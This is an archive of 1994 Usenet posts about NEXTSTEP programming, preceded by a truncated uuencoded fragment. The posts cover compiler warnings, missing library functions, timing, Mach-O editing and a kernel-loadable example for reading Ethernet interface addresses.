M=Q*2!<<;0F\%WY6#=UT\"'JW!\)TQL:GW?')L[&\B*[+2Q8*W<%7[QQAO#BA MDOS1H>0518!`Q1-,$`%"%D]4`<(43Z1081)TG)`["&=X0X+H\[NS*4Y-"2/> ME3RD':G1@6ITT$$+4O6D(+@A#Q!+TO1T4X<SH*$Z9Q$/Z=S@@A(ZR3A7()X! M[U`Y\>EJ#0N<CWI^)Y9PN:<-Y)+9[\R@+M!U#W:AT^'35+8Q(A"A??5J7K_V M=P(4\5!CH'-"&?+%'K7!1V*@0X.'YG`Y@:1'97I;@V[NX*45?3`,8O"0=WX8 M,B.V3WIBF(YVPL(=+Y6!:%,("-"^T\04P>V`!_D=U,@2D!FMY0R,4U)S\(.; MZ)0L<WT3DX`8&!\@D0=)\1&1BE@T-S(.4EB-M-H7,V4]"<VG;99[7GO>`S5T MJ=%$J0P#&RP'G3R<4`%OBLK`8L0H,M@A*D"[):CRL`12@<!4W`G#D-R3J;7@ M`03B@H.UM#.%8ZVI#60!3Y-P!(4I^.`[\^G0AQCI.1`\\G+LN0Y?\J`DDE$/ M/MKSSLW$"+);*@`N-[A!0P)@@F\$``P`H$"OX$"&9]WA"W^;PQ<L0X,OQ"`& M.(C!/DT`C@``(:`#+6@8#IK0A<:@H0_%@0PF&HX`<$2@.=,H1S?D49!"=`83 M%4<`%()2@AH4H2QEJ$,AFH.)C@,`X,!H2F_:49T^-`<C90@_R0$`8`C5IAO% MJ4*->J<:3+0<``#%4U4JU98Z-"\25:H)S`$`0&R5J#G]Z%<=,]%S``"@->5J M4=7Z%WV*%1T`N&A<T3I5NOHFJ0OA9SIRLM>HSA6DOL%)4A;+V,8Z]K&0C:QD M)TO9REKVLIC-K&8WR]G.>O:SH`UM:/EI"0!P```3R"A?/2J#+]S@<`KAYR5, MBUK5&C:MK7TM#6)K`DS0-K5#O6U?<TL#JP*`GYGXK6U7.ES7TD"Q_-2$<H/+ M7-:ZM@9)Y><FI@O5ZEHFMRWA+2>X*U?<7A<'O.T$>5?[7==FA+>>6*]PK7N3 MGA[7!)^0KW?QXMK3\%:KIP5N=[O:WAS<A+>AT"^!^6M@N_)3%`J>:VL-C-[[ MCB+"YC6P??E)"@PW-P<X@.E]2^%AZ^()NB8P18D+;&#>G@(`+*@M=1<\81`# (H*,SR$$-O@!) ` end
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: HELP: Multiple Declarations of maxValue in Slider.h Message-ID: <1994Jan7.150211.18583@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2git7oINNi1k@srvr1.engin.umich.edu> Distribution: usa Date: Fri, 7 Jan 1994 15:02:11 GMT Wassim M. Jabi writes > I have a subclass of View (NodeView). The IB has a slider in it. > In one of NodeView's methods I retrieve the maxValue of the > slider as in: > > id xSlider; > double xMaxValue; > xMaxValue = [xSlider maxValue]; > > When I compile it says: > NodeView.m:36: warning: multiple declarations for method `maxValue' > /NextDeveloper/Headers/appkit/Slider.h:20: warning: using > `-(double)maxValue' > /NextDeveloper/Headers/soundkit/SoundMeter.h:57: warning: also found > `-(float)maxValue' > > What is that all about? I don't even use any SoundMeter stuff!!??!!? > I don't even have a method called minValue or maxValue in my code. I am > just messaging the Slider's method. > -- The problem is that at compile time, there is no way for the compiler to know what class your xSlider is an instance of. Therefore, it doesn't know specifically which selector (-maxValue) to use. In the case where the two methods return a value of the same type, the compiler can defer this decision until runtime, but in your case, with two return values that are different types, it can't. There are two solutions to your problem. If the var xSlider is going to always be an instance of Slider and is not used for a connection in IB, just declare xSlider as a Slider * (Slider *xSlider;). Otherwise, type cast xSlider when you make the method call: xMaxValue = [(Slider *)xSlider maxValue]; That way, the compiler will know specifically which version of -maxValue to use. In general, I find it good programming practice to put as much knowledge into your code as possible so that the runtime system has to do as little work as possible. This comes in to play most of the time when you have variables defined as type id when they really could be defined as a pointer to the class to which they really belong. I try to avoid using the id type as much as possible, and only use it when absolutely necessary (i.e. the actual class type is unknown or a connection is needed in IB). I know that this is ignoring one of the strengths of the ObjC language and its runtime system, but most of the time you don't really need it. Well, enough mindless drivel... > Wassim M. Jabi (313) 936-0229 > Doctoral Program in Architecture, University of Michigan > 2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2069 > wjabi@libra.arch.umich.edu NeXTMail-friendly -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
Newsgroups: comp.sys.next.programmer,compt.sys.next.bugs From: joe@FreemanSoft.com (Joe Freeman) Subject: Re: AddressBook -- standards -- api Message-ID: <1994Jan7.152352.18310@FreemanSoft.com> Sender: jfreeman@FreemanSoft.com Organization: FreemanSoft Inc. References: <1994Jan7.114059.10182@ToTSySSoft.com> Distribution: usa Date: Fri, 7 Jan 1994 15:23:52 GMT I've filed a bug report against the lack of documentation and API. (for all the good it will do) I guess I should do the crash and burn also, so that I can file a bug report against that. Gee, what level of severity do you think they will give it? <joe> In article <1994Jan7.114059.10182@ToTSySSoft.com> bruce@TotSysSoft.com (Bruce Gingery) writes: > In article <1994Jan6.151558.15977@FreemanSoft.com> > joe@FreemanSoft.com (Joe Freeman) writes: > -> As a follow up to a posting in comp.sys.next.misc: > -> > -> Has anyone seen documentation on the different fields > -> that should be supported in the AddressBook.addresses? > -> It seems that there was an attempt to implement an > -> extensable system. But, I have seen no documentation > -> to this effect. As an example, there is a "Type" field > -> that is set to "AddressBook". There are also fields for > -> the address book layout. Even better, has anyone seen > -> an api for writing into this thing? > > > Attempts some months ago to test the extension and usability > of Address.book were met with the successful crash and burn of > Workspace. > > Bruce Gingery bruce@TotSysSoft.com -- Joe Freeman FreemanSoft Inc. A NEXTSTEP software and consulting services company. Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) Voice: 919.783.7033
From: charlesa@learned.co.uk Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher Subject: Help with "undefined symbols"! Date: Fri, 07 Jan 94 16:35:50 GMT Organization: EUnet GB Message-ID: <2gk3kg$qo8@marble.Britain.EU.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi - I'm trying to complie GN-1.19 on a 3.1 NeXT for Intel. After I edit the config.h and top-level makefile accordingly, and type make, I get the following error; Installing gn (cd gn; make CC="cc" CFLAGS="-I.. -I../gn " LIBS="" INSTALL="/usr/bin/install -s" BINDIR="/usr/local/etc" install ) cc -I.. -I../gn -c gn.c cc -I.. -I../gn -c pselect.c cc -I.. -I../gn -c init.c cc -I.. -I../gn -c util.c cc -I.. -I../gn -c acc.c cc -I.. -I../gn -c csearch.c cc -I.. -I../gn -c regcomp.c cc -I.. -I../gn -c regfind.c cc -I.. -I../gn -c chkcache.c cc -I.. -I../gn -c send.c cc -I.. -I../gn -c search.c cc -I.. -I../gn -c sio.c cc -I.. -I../gn -o gn gn.o pselect.o init.o util.o acc.o csearch.o regcomp.o regfind.o chkcache.o send.o search.o sio.o ld: Undefined symbols: _putenv *** Exit 1 Stop. *** Exit 1 Stop. Can anybody suggest what "ld: Undefined symbols: _putenv" is telling me?? Thanks, Charles. charlesa@learned.co.uk
From: john@math.nwu.edu (John Franks) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher Subject: Re: Help with "undefined symbols"! Date: 7 Jan 1994 17:28:08 GMT Organization: Dept of Math, Northwestern Univ Distribution: world Message-ID: <2gk638$241@news.acns.nwu.edu> References: <2gk3kg$qo8@marble.Britain.EU.net> In article <2gk3kg$qo8@marble.Britain.EU.net>, charlesa@learned.co.uk writes: > > Hi - > > I'm trying to complie GN-1.19 on a 3.1 NeXT for Intel. After I edit the > config.h and top-level makefile accordingly, and type make, I get the following > error; > ld: Undefined symbols: > _putenv > *** Exit 1 > Stop. > *** Exit 1 > Stop. > It is telling you that it can't find the function putenv in any library. I would very much like to know about this too. Is there no putenv() in NeXTStep? I know that NCSA httpd, uses putenv(), does it compile under NeXTSTep? What do all you NeXT owners do when you need putenv()? -- John Franks Dept of Math. Northwestern University john@math.nwu.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Regex (re_match) Date: 7 Jan 1994 16:58:10 -0000 Organization: me organized? That's a joke! Message-ID: <2gk4b2$17m@steffi.demon.co.uk> How reliable is NeXT's implementation of Regex? I'm using re_match and the "start" and "end" pointers don't seem to be setting correctly. Is this a problem? -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
Newsgroups: comp.sys.next.programmer From: gerben@rna.indiv.nluug.nl Subject: Bringing the cc from 3.2 to gcc 2.5.7 Message-ID: <1994Jan7.163947.1427@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. Date: Fri, 7 Jan 1994 16:39:47 GMT Did someone already brought the 3.2 compiler up to gcc 2.5.7 level? gcc 2.2.2 does not have templates in C++ for instance. It must be possible to patch the NeXT version with diffs from gcc 2.2.2 to gcc 2.5.7, maybe through cvs to get some control over the process. (Or maybe better: make diffs between gcc 2-2-2 and NeXT cc 2.2.2 and patch those to gcc 2.5.7) Anyway, has someone done this already? Thanks, --- Gerben Wierda [NeRD:7539] gerben@rna.indiv.nluug.nl "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland". -- Gerben Wierda [NeRD:7539] gerben@rna.indiv.nluug.nl "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, "Alice in Wonderland".
From: rgc@wam.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: Re: Regex (re_match) Date: 7 Jan 1994 18:16:03 GMT Organization: University of Maryland College Park Message-ID: <2gk8t3$hj2@cville-srv.wam.umd.edu> References: <2gk4b2$17m@steffi.demon.co.uk> Robert Nicholson (robert@steffi.demon.co.uk) wrote: : How reliable is NeXT's implementation of Regex? : I'm using re_match and the "start" and "end" pointers don't seem to be : setting correctly. : Is this a problem? I found that NeXT's supplied regex worked, but weren't nearly as powerful as GNU's regex. -- Ross Cutler University of Maryland, College Park Internet: rgc@wam.umd.edu
From: rgc@wam.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: Re: RTFSyntax -- a RTF color syntax highlighter Date: 7 Jan 1994 18:19:20 GMT Organization: University of Maryland College Park Message-ID: <2gk938$hj2@cville-srv.wam.umd.edu> References: <2git7e$6vk@cville-srv.wam.umd.edu> I've put a new version of RTFSyntax.compress on the archives that does not use gzip. This was causing a few people who don't use gzip to compress some problems. -- Ross Cutler University of Maryland, College Park Internet: rgc@wam.umd.edu
Newsgroups: comp.sys.next.programmer From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Can I delete an entire segment/section from a Mach-O executable file? Message-ID: <1994Jan7.131821.3637@news.cs.indiana.edu> Sender: shayman@Trimark.com Organization: Steve Hayman + Associates / NeXTSTEP Consulting / Toronto Date: Fri, 7 Jan 1994 13:18:17 -0500 I am looking for a way to remove an entire segment or a specific section from a Mach-O file. I know how to replace a section (with "segedit") but not how to delete one. Here's the deal. I have an old 2.X program for which I don't have source. I want to modify one of its nib files ( to remove a command key equivalent.) This program is in the old 2.X style, where the nibs are all bundled into the __NIB segment of the executable itself, rather than being separate files. There are tools around for extracting sections from Mach-O files such as SegHoarker or "extract.pl". So I have no trouble extracting the old 2.X nib file. And I can open it in IB, and make the change I want, and save it. Now, here's the tricky part. When I save it in IB, it gets saved as a directory named "foo.nib", which is how 3.0 nibs are organized, even though it was originally a plain file named "foo.nib". You can't put a .nib directory back into the __NIB segment. So, since I know that the loadNibSection:"foo" method will check things in this order - a section named "foo" in the __NIB segment - "foo.nib" in the English.lproj - "foo.nib" in the main bundle I would be happy to leave the .nib as a directory and create an app wrapper for this program. Still with me? The problem is that I don't know of a way to get rid of the original __NIB segment, or the original .nib section insided the __NIB segment. So this program still consults the nib inside the __NIB segment, rather than my modified foo.nib in the app wrapper. You can use "segedit" to replace sections, but I don't know of a way to delete a section or segment. So in conclusion, if anyone knows of an easy way to delete a specific section or an entire segment from a Mach-O executable, please let me know. Mail me and I'll post a summary if I find anything out. Thanks, Steve P.S. Yes, if I had the source, this would be easy, but I don't.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.infosystems.www,comp.infosystems.gopher From: gthomas@fraser.sfu.ca (Guy Thomas) Subject: Re: Help with "undefined symbols"! Message-ID: <gthomas.757971721@sfu.ca> Sender: news@sfu.ca Organization: Simon Fraser University, Burnaby, B.C., Canada References: <2gk3kg$qo8@marble.Britain.EU.net> <2gk638$241@news.acns.nwu.edu> Date: Fri, 7 Jan 1994 19:42:01 GMT john@math.nwu.edu (John Franks) writes: >I would very much like to know about this too. Is there no putenv() >in NeXTStep? I know that NCSA httpd, uses putenv(), does it compile >under NeXTSTep? What do all you NeXT owners do when you need putenv()? putenv() is also used in MetaMail. That is where I first ran into it. I got a copy of a library libenv.a that has this call in it. It is small so I can mail people copies if they want. Mine works on a 2.1 system it might work on 3.* as well. The only change is to add -lenv to the linker/compiler flags line in the makefiles. -Guy
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: getting local machine's ethernet address Message-ID: <1994Jan7.144850.26154@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <9401062014.AA02128@giants.comnetix.com> Date: Fri, 7 Jan 1994 14:48:50 GMT In article <9401062014.AA02128@giants.comnetix.com> ajetha@giants.comnetix.com (Alykhan Jetha) writes: > Folks, > I'm trying to get the localhost's ethernet address programmatically on NS/FIP. I realize > you can get the address from the master netinfo database, but for this particular > application the network can die at any moment thus rendering the netinfo call useless. I > have also looked at some of the ether function calls, they provide other host's ethernet > address but not the localhosts. > I also realize that one could parse it out of the /usr/adm/messages file, however, I don't > particularly like that scenario. Is there anything that I'm missing?? I don't know how to do this either, but here is a simple way to get it using grep (I'm sure it could be made much easier and more robust with sed): char *buffer, etherAddress[64]; // Pick up ethernet line from /usr/adm/messages buffer = exec_command("grep Ethernet /usr/adm/messages"); // Extract address from: // Month day time machine mach: : Ethernet address 08:00:0b:05:0c:d4 sscanf(buffer, "%*s %*s %*s %*s %*s %*s %*s %*s %s", etherAddress); free(buffer); char *exec_command( char *cmd) { FILE *fp; char buf[1024], *buffer = calloc(1,1); int rlen = 0,tlen = 0; fp = popen(cmd,"r"); if (!fp) return 0; while ( rlen=fread(buf,1,1024,fp) ) { tlen += rlen; buffer = realloc(buffer, tlen+1); strncat(buffer,buf,rlen); } pclose (fp); return buffer; }
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: Help --- TimedEntry Message-ID: <1994Jan7.150600.26232@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <1994Jan7.023450.5203@news.cs.brandeis.edu> Date: Fri, 7 Jan 1994 15:06:00 GMT In article <1994Jan7.023450.5203@news.cs.brandeis.edu> balu@jensen.cc.brandeis.edu (t.balasubramanian) writes: > We are writing a program that performs some task periodically - Using > NXAddTimedEntry() is not good enough , because we need very accurate > timing. Also this timing should not be affected if one chooses to run > some other application when this particular program is running. I would > greatly appreciate if anyone who knows how to go about doing this reply by There isn't any function that can guarantee that you will get called exactly when you ask (the perils of a multi-tasking environment). The best that you can probably do is to ask for the system time (gettimeofday()) when your timed entry is called to do some correction. Using gettimeofday() rather than assuming that your timed entry was called ontime means that you will only be off slightly as opposed to picking up the cumulative errors of a timed entry. Even this is not perfect: gettimeofday() has to context switch back from the kernel and another process might get swapped in before you actually use the value from gettimeofday()... ... jeff
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott) Newsgroups: comp.sys.next.programmer Subject: problem with Box setTitle: and display method Date: 7 Jan 1994 20:17:21 GMT Organization: University of California, Santa Barbara Distribution: world Message-ID: <2gkg0h$j0v@hub.ucsb.edu> I have a Box outlet called outputFileBox which contains several objects, such as a button and a text field. I am changing the title of the box: [outputFileBox setTitle:"New Title"]; but when I do this, the title is not redisplayed (i.e., no change can be seen) unless I call [outputFileBox display]. This does not seem right -- shoudn't this get called automatically? Moreover, when I do this explicitly, i.e, [[outputFileBox setTitle:"New Title"] display]; The box redraws itself and its title, but fails to redraw its components! The documentation says that it most certainly should. This is NextStep 3.1 on an m68040 machine. Could I be doing something else wrong or is this some sort of bug? -- Douglas Scott | Senior Development Engineer Tel: (805) 893-8352 | Center for Computer Music Research and Composition Internet (NeXTMail ok): | Music Department <doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Decompressing Help.store Date: 7 Jan 1994 20:19:54 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2gkg5b$1b9@darkstar.UCSC.EDU> A client has had a file system disaster and has lost all of his recent Help directory changes (he has a backup, but not recent enough). He does have a built app containing a complete Help.store file. compresshelp doesn't seem to be documented and its usage message doesn't mention an "uncompresshelp" option. I couldn't find anything in Indexing kit that looked promising, but I'm not really familiar with Indexing kit. Is there some way to uncompress a Help.store and reconstitute the files used to create the Help.store? -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: Re: Help --- TimedEntry Date: 7 Jan 1994 21:30:17 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2gkk99$fq6@agate.berkeley.edu> References: <1994Jan7.150600.26232@bozell.com> In article <1994Jan7.150600.26232@bozell.com> jmartin@Dallas.Bozell.com (Jeff Martin) writes: >In article <1994Jan7.023450.5203@news.cs.brandeis.edu> >balu@jensen.cc.brandeis.edu (t.balasubramanian) writes: >> We are writing a program that performs some task periodically - >Using >> NXAddTimedEntry() is not good enough , because we need very accurate >> timing. Also this timing should not be affected if one chooses to run >> some other application when this particular program is running. I would >> greatly appreciate if anyone who knows how to go about doing this reply >by > > There isn't any function that can guarantee that you will get >called exactly when you ask (the perils of a multi-tasking environment). Depending on the kind of task, and timing accuracy, I suppose some things could be done quite accurately if you are willing to write a custom device driver as part of hardware interrupt processing from a timer chip as on some A/D boards. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: mra@bink.mit.edu (Michael Raskin Andrews) Newsgroups: comp.sys.next.programmer Subject: faxing from shell, with cover page Date: 7 Jan 1994 22:08:02 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <2gkmg2$79i@senator-bedfellow.MIT.EDU> Keywords: fax, shell Does anyone out there know of a program that takes as input either a text or postscript file, and fax out that file (enscripted, if text) _with_ a standard NeXT cover-page? I have a program to do it _without_ a cover page already. Thanks.
From: ivo@next.agsm.ucla.edu (Ivo Welch) Newsgroups: comp.sys.next.programmer Subject: Safer malloc+strings plug-in? Date: 7 Jan 1994 23:22:52 GMT Organization: UCLA Microcomputer Support Office Message-ID: <2gkqsd$ai@news.mic.ucla.edu> Would someone have installed some library that better tracks malloc and string violations in C and C++ under recent NS? I have only tried one (called "leak"), and it dies because it somehow manages to recurse into nxzone* stuff. Please forward any answers directly to me, because I do not read this group regularly. (Just don't know how to program obj-c yet.) Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu Asst Prof of Finance iwelch@agsm.ucla.edu AGSM at UCLA
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.programmer From: fineman@cs.washington.edu (Lucifer Sam) Subject: Why did my external disk turn into its own system? Message-ID: <1994Jan7.232704.26460@beaver.cs.washington.edu> Sender: news@beaver.cs.washington.edu (USENET News System) Organization: Computer Science & Engineering, U. of Washington, Seattle Date: Fri, 7 Jan 94 23:27:04 GMT so I've got a new hard disk up and running in my system, and it suddenly decides to go independent on me. The icon (i can't find a .dir.tiff) for the drive is "black slab with monitor" instead of the old disk, and i can't recycle things on that drive ("The recycler is on a different disk for /Harddisk"). This happened after i had booted up and it told me that the hard drive was "damaged", and asked if i wanted to "repair". What happened? thanks dan
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: getting local machine's ethernet address Date: 7 Jan 1994 23:37:56 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2gkrok$jig@usenet.rpi.edu> References: <1994Jan7.144850.26154@bozell.com> jmartin@Dallas.Bozell.com (Jeff Martin) writes: > ajetha@giants.comnetix.com (Alykhan Jetha) writes: > > I'm trying to get the localhost's ethernet address programmatically > > on NS/FIP. I realize... [skipping] > > I also realize that one could parse it out of the /usr/adm/messages > > file, however, I don't particularly like that scenario. > > I don't know how to do this either, but here is a simple way to get it > using grep (I'm sure it could be made much easier and more robust with > sed): Do not have any application depend on the contents of /usr/adm/messages. That file gets rotated, so if the machine is up long enough none of the boot-up messages will be in that file. How you scan the file is not important, the result will not be robust. I'm afraid I don't know the correct answer to your question, but the answer is certainly not going to involve scanning the messages file. That is the wrong answer to almost every question that starts out "I'm trying to programatically..." -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.misc From: clarance@nshade.uah.ualberta.ca (Clarance Howatt) Subject: Help compiling httpd Message-ID: <1994Jan7.230011.6246@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Fri, 7 Jan 1994 23:00:11 GMT Has anyone successfully compiled the NCSA version of HTTPD for NSI. -- ============================================================ Clarance Howatt Programmer, Information Systems \\\ /// University of Alberta Hospitals \\\ /\ /// WMC 2C2.21, 8440 - 112th Street, \\\ //\\ /// Edmonton, Alberta \\\///\\\///
Newsgroups: comp.sys.next.programmer From: sam@talus.com (Semyon Sosin) Subject: Re: Writing a Mach Pager Message-ID: <1994Jan8.000425.2621@talus.com> Sender: sam@talus.com Organization: Talus Corporation References: <2gilaf$4u0@ursula.ee.pdx.edu> Date: Sat, 8 Jan 1994 00:04:25 GMT In article <2gilaf$4u0@ursula.ee.pdx.edu> marcus@ursula.ee.pdx.edu (Marcus Daniels) writes: | Ok, the memory_* functions are missing with NEXTSTEP, and | external pagers aren't supported. What about vm_map? I don't see | the (mig) _Xvm server interface function in the kernel, but there are lots of | vm_map* functions. vm_allocate is presumably just a convience interface to | vm_map in `real mach'. Might there be a relatively easy way to setup | an equivalent function to vm_map? | | Marcus Daniels You can see whether function present in kernel or not by simple open it in edit and making search for this function. As far as I understood there's two levels of memory mapping layers in NeXTSTEP kernel: the upper is represented by variuos vm_map_xxx functions which present some mechanism for using of memory pages by other kernel routines and drivers. An there's a low level represented by functions pmap_xxx, which dealt together with Intel paging (tm) mechanism. NS/FIP kernel is heavily inclined to Intel processor architecture, especially with 3.2, less and less remained there native stuff that came from Mach. At last in inner paging part there's absolutely no mach messages and smth like that. -- Semyon Sosin Talus Imaging Corp. - Houston Bureau <sam@talus.com> (NeXT mail accepted) ph: (713)561-0700 10602 Chapel Hill Dr. Houston Tx. 77099
From: "James Gaines" <p00378@psilink.com> Newsgroups: comp.sys.next.programmer Subject: NS & Novell Date: Fri, 07 Jan 94 22:54:34 -0600 Organization: GCC Message-ID: <2967087053.5.p00378@psilink.com> Does anyone know if a NeXT machine (black or white) can connect to a Novell network using IPX instead of TCP/IP? If so, please contact me. If you have had the experience of deploying or using such a configuration, please EMAIL me so that I might get your input and/or contract your services. Peace, James
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: getting local machine's ethernet address Message-ID: <1994Jan8.081758.24892@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <9401062014.AA02128@giants.comnetix.com> <1994Jan7.144850.26154@bozell.com> <2gkrok$jig@usenet.rpi.edu> Date: Sat, 8 Jan 1994 08:17:58 GMT You're asking a bad question. A *machine* doesn't have an Ethernet address. Each *Ethernet interface* has an Ethernet address. What you should be asking is, "what are the Ethernet addresses (yes--addresses--plural) of the Ethernet interfaces currently active on the local machine?" But first, one teeny-tiny question: Why would anyone want to know this??? Anyway, here's an quick-and-dirty example to show that it _is_ possible. I haven't actually tested this on "White Hardware," but NEXTSTEP is NEXTSTEP, right? Burst the attached files into their own directory Type make su [to root] kl_util -a ena_reloc Then run ena_demo BTW, if you think this information can be used for software "copy protection," think again. -=EPS=- ------- Makefile NAME=ena CFILES=$(NAME)_server.c $(NAME)Server.c SECTFILES=Load_Commands.sect Unload_Commands.sect OFILES=$(CFILES:.c=.o) # G_LOADABLE=-d $(NAME)_loadable G_LOADABLE= SRCS=Makefile $(CFILES) $(SECTFILES) INSTALLDIR=/usr/local/lib/kern_loader/$(NAME) all: @make $(NAME)_reloc \ CFLAGS="-DKERNEL -DMACH_USER_API -DMACH -O2 -Wall -fno-builtin" @make $(NAME)_demo CFLAGS=-O LDFLAGS="-s -object" $(NAME)_reloc: $(OFILES) $(SECTFILES) $(NAME).h kl_ld -n $(NAME) -l Load_Commands.sect -u Unload_Commands.sect \ -i instance $(G_LOADABLE) -o $@ $(OFILES) $(NAME)Server.c $(NAME)User.c $(NAME).h: $(NAME).defs mig ${MIGFLAGS} $(NAME).defs $(NAME)_demo: $(NAME)_demo.c $(NAME)User.c $(NAME).h cc -o $@ $(LDFLAGS) $(CFLAGS) $(NAME)_demo.c $(NAME)User.c install: $(NAME)_reloc ${INSTALLDIR} install -c -m 644 -o root -g wheel $(NAME)_reloc ${INSTALLDIR} ${INSTALLDIR}: mkdirs $@ clean: -rm -f $(NAME)_reloc $(NAME)_loadable $(NAME).o $(NAME)_server.o \ $(NAME)Server.[co] $(NAME)User.[co] $(NAME).h $(NAME)_demo ------- ena_types.h typedef char ena_msg_t[8148]; ------- ena.defs subsystem ena 1980; #include <mach/std_types.defs> type ena_msg_t = array [ * : 8148 ] of char; import "ena_types.h"; serverprefix ena_; userprefix ena_; routine info(server : port_t; out buf : ena_msg_t); ------- ena_server.c #include <kernserv/kern_server_types.h> #import <kernserv/prototypes.h> #include <bsd/net/etherdefs.h> #include <bsd/net/netif.h> #include "ena_types.h" kern_server_t instance; void ena_init(void) { (void)printf("Ethernet address server initialized\n"); } void ena_signoff(void) { (void)printf("Ethernet address server unloaded\n"); } kern_return_t ena_info(port_t server, ena_msg_t buf, unsigned int *bufCnt) { char *p; netif_t ni; struct ether_addr enaddr; p=buf; for (ni=iflist_first();ni;ni=iflist_next(ni)) if (if_class(ni)==NETIFCLASS_REAL&& !strcmp(if_type(ni), "10MB Ethernet")) { (void)if_control(ni, IFCONTROL_GETADDR, &enaddr); bcopy((void *)&enaddr, (void *)p, sizeof enaddr); p+=sizeof enaddr; (void)sprintf(p, "%s%d", if_name(ni), (int)if_unit(ni)); p+=strlen(p)+1; } *bufCnt=p-buf; return KERN_SUCCESS; } ------- Load_Commands.sect # # Associate ports with proc/arg # CALL ena_init 0 SMAP ena ena_server 0 ADVERTISE ena ------- Unload_Commands.sect # Termination CALL ena_signoff 0 ------- ena_demo.c #include <ansi/stdio.h> #include <mach/mach.h> #include <mach/mach_error.h> #include <servers/netname.h> #include "ena.h" main(int argc, char *argv[]) { register char *p, *q; kern_return_t k; port_t ena_port; unsigned int bufCnt; char buf[8148]; k=netname_look_up(name_server_port, "", "ena", &ena_port); if (k!=NETNAME_SUCCESS) { mach_error("netname_look_up", k); exit(1); } bufCnt=sizeof buf; k=ena_info(ena_port, buf, &bufCnt); if (k!=KERN_SUCCESS) { mach_error("ena_info", k); (void)port_deallocate(task_self(), ena_port); exit(1); } (void)port_deallocate(task_self(), ena_port); (void)fputs("Ethernet address Interface Name\n", stdout); p=buf; q=p+bufCnt; while (p+6<q) { (void)printf("%02x:%02x:%02x:%02x:%02x:%02x ", p[0], p[1], p[2], p[3], p[4], p[5]); p+=6; while (*p) putchar(*p++); putchar('\n'); p++; } exit(0); }
Newsgroups: comp.sys.next.programmer From: stefano@galileo.pr.net.ch (Stefano Unternaehrer) Subject: How to deliver an application... Message-ID: <CJ9nJI.BG5@galileo.pr.net.ch> Sender: stefano@galileo.pr.net.ch (Stefano Unternaehrer) Organization: Galileo Software - Tenero - Switzerland Date: Fri, 7 Jan 1994 15:40:30 GMT Hello netters! I'm planning to write an application. In this discussion I'll speak about the method I would like to use to deliver this (and maybe others) applications, and to hear your opinions and suggestions about it. Let me at first apologise if the method I will describe is already available! In this case please let me know more informations about. Every one will be able to receive a free copy of the program via floppy disk or email or elsewhat. Suppose the application is a bookkeeping. The application will be able to do all but not save movements (like: cash to bank 100$). In fact, the user will be able to define and save his bookkeeping scheme, relations between counts and so on, but not to save movements. To do that he has to ask me (via email of phone or fax...) for a special file - a Ticket - using a submission-like form available in the application and giving me some informations as the machine identification number, name and so on. The first Ticket (new machine identification number = new user) will be free and its amount of steps will be fixed (example: 100). The Ticket will permit the user to save 100 movements before to expire. First advantage: anyone can use and test the application for a while. When the user is interested on using this application, he will ask [me] with the same form in the application a new Ticket, giving me some informations like "how many steps to include in the new Ticket", the machine identification number and the desired payment method. The price of the Ticket will of course depend on how many steps are included. Simple question: howmuch could a single movement costs ? 5-10 cents ? The 